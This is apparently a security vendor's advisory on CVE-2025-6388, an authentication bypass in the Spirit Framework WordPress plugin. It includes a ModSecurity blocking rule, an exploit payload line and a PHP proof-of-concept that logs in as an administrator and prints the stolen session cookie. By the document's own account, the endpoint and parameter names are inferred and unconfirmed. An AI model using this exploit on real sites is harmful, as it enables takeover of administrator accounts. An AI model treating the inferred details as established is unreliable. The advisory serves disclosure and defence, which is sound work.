Atomic Edge analysis of CVE-2025-6388 (metadata-based): This vulnerability allows unauthenticated authentication bypass in the Spirit Framework plugin for WordPress up to version 1.2.14. An attacker can log in as any user, including administrators, by exploiting the custom_actions() function. The CVSS score is 9.8 (Critical), with network-based, low-complexity exploitation requiring no privileges or user interaction.
The root cause lies in the custom_actions() function failing to validate a user’s identity before authenticating them. Based on the CWE-288 classification (Authentication Bypass Using an Alternate Path or Channel), Atomic Edge analysis infers that the function likely processes a user-provided identifier (such as a user ID or username) passed via a GET or POST parameter and calls WordPress authentication functions like wp_set_auth_cookie() or wp_signon() without verifying a nonce, capability, or prior session. This conclusion is inferred from the CWE and description; no code diff is available for confirmation.
Exploitation requires sending a crafted request to the plugin’s AJAX handler. The plugin slug suggests an action hook such as spirit_framework_custom_actions or similar. The attacker supplies the target administrator’s username in a parameter like user_login or user_id. The request does not need authentication or a valid nonce. A typical exploit payload targets /wp-admin/admin-ajax.php with action=spirit_framework_custom_actions&user_login=admin. The plugin’s custom_actions() function then logs the attacker in as that user.
Remediation requires the plugin to implement proper identity verification before performing authentication. The fix should include nonce validation using wp_verify_nonce(), capability checks with current_user_can(), and confirmation that the user initiating the request has an active, valid session. The patched version 1.2.15 likely adds these checks. Site administrators should update immediately.
Successful exploitation allows complete account takeover. An attacker can log in as any registered user, including administrators. With administrator access, the attacker can modify site content, install malicious plugins, create new admin accounts, change site configuration, and potentially achieve remote code execution through plugin or theme file editing. This compromises the entire site’s confidentiality, integrity, and availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-6388 (metadata-based)
# Blocks authentication bypass by targeting the Spirit Framework custom_actions AJAX handler
# Prevents unauthenticated requests that provide a user_login parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20256388,phase:2,deny,status:403,chain,msg:'CVE-2025-6388 Spirit Framework authentication bypass via AJAX',severity:'CRITICAL',tag:'CVE-2025-6388'"
SecRule ARGS_POST:action "@streq spirit_framework_custom_actions" "chain"
SecRule ARGS_POST:user_login "@rx .+" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-6388 - Spirit Framework <= 1.2.14 - Authentication Bypass to Account Takeover and Privilege Escalation
// Configurable target URL (change to the WordPress site URL)
$target_url = 'http://example.com';
// Username of the target admin account to takeover
$target_username = 'admin';
// The AJAX action hook for Spirit Framework (inferred from plugin slug)
$action = 'spirit_framework_custom_actions';
// Build the exploit URL
$exploit_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Prepare POST data: action and the user_login parameter (inferred from CWE)
$post_data = [
'action' => $action,
'user_login' => $target_username,
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check if the response contains session cookies indicating successful authentication
if ($http_code === 200 && preg_match('/Set-Cookie: ([^;]+)/i', $response, $matches)) {
echo "[+] Exploit succeeded. Session cookie: " . $matches[1] . "n";
echo "[+] You are now logged in as: " . $target_username . "n";
} else {
echo "[-] Exploit may have failed. HTTP status: $http_coden";
echo "[-] Note: This PoC is based on metadata analysis. The actual endpoint or parameter names may differ.n";
}
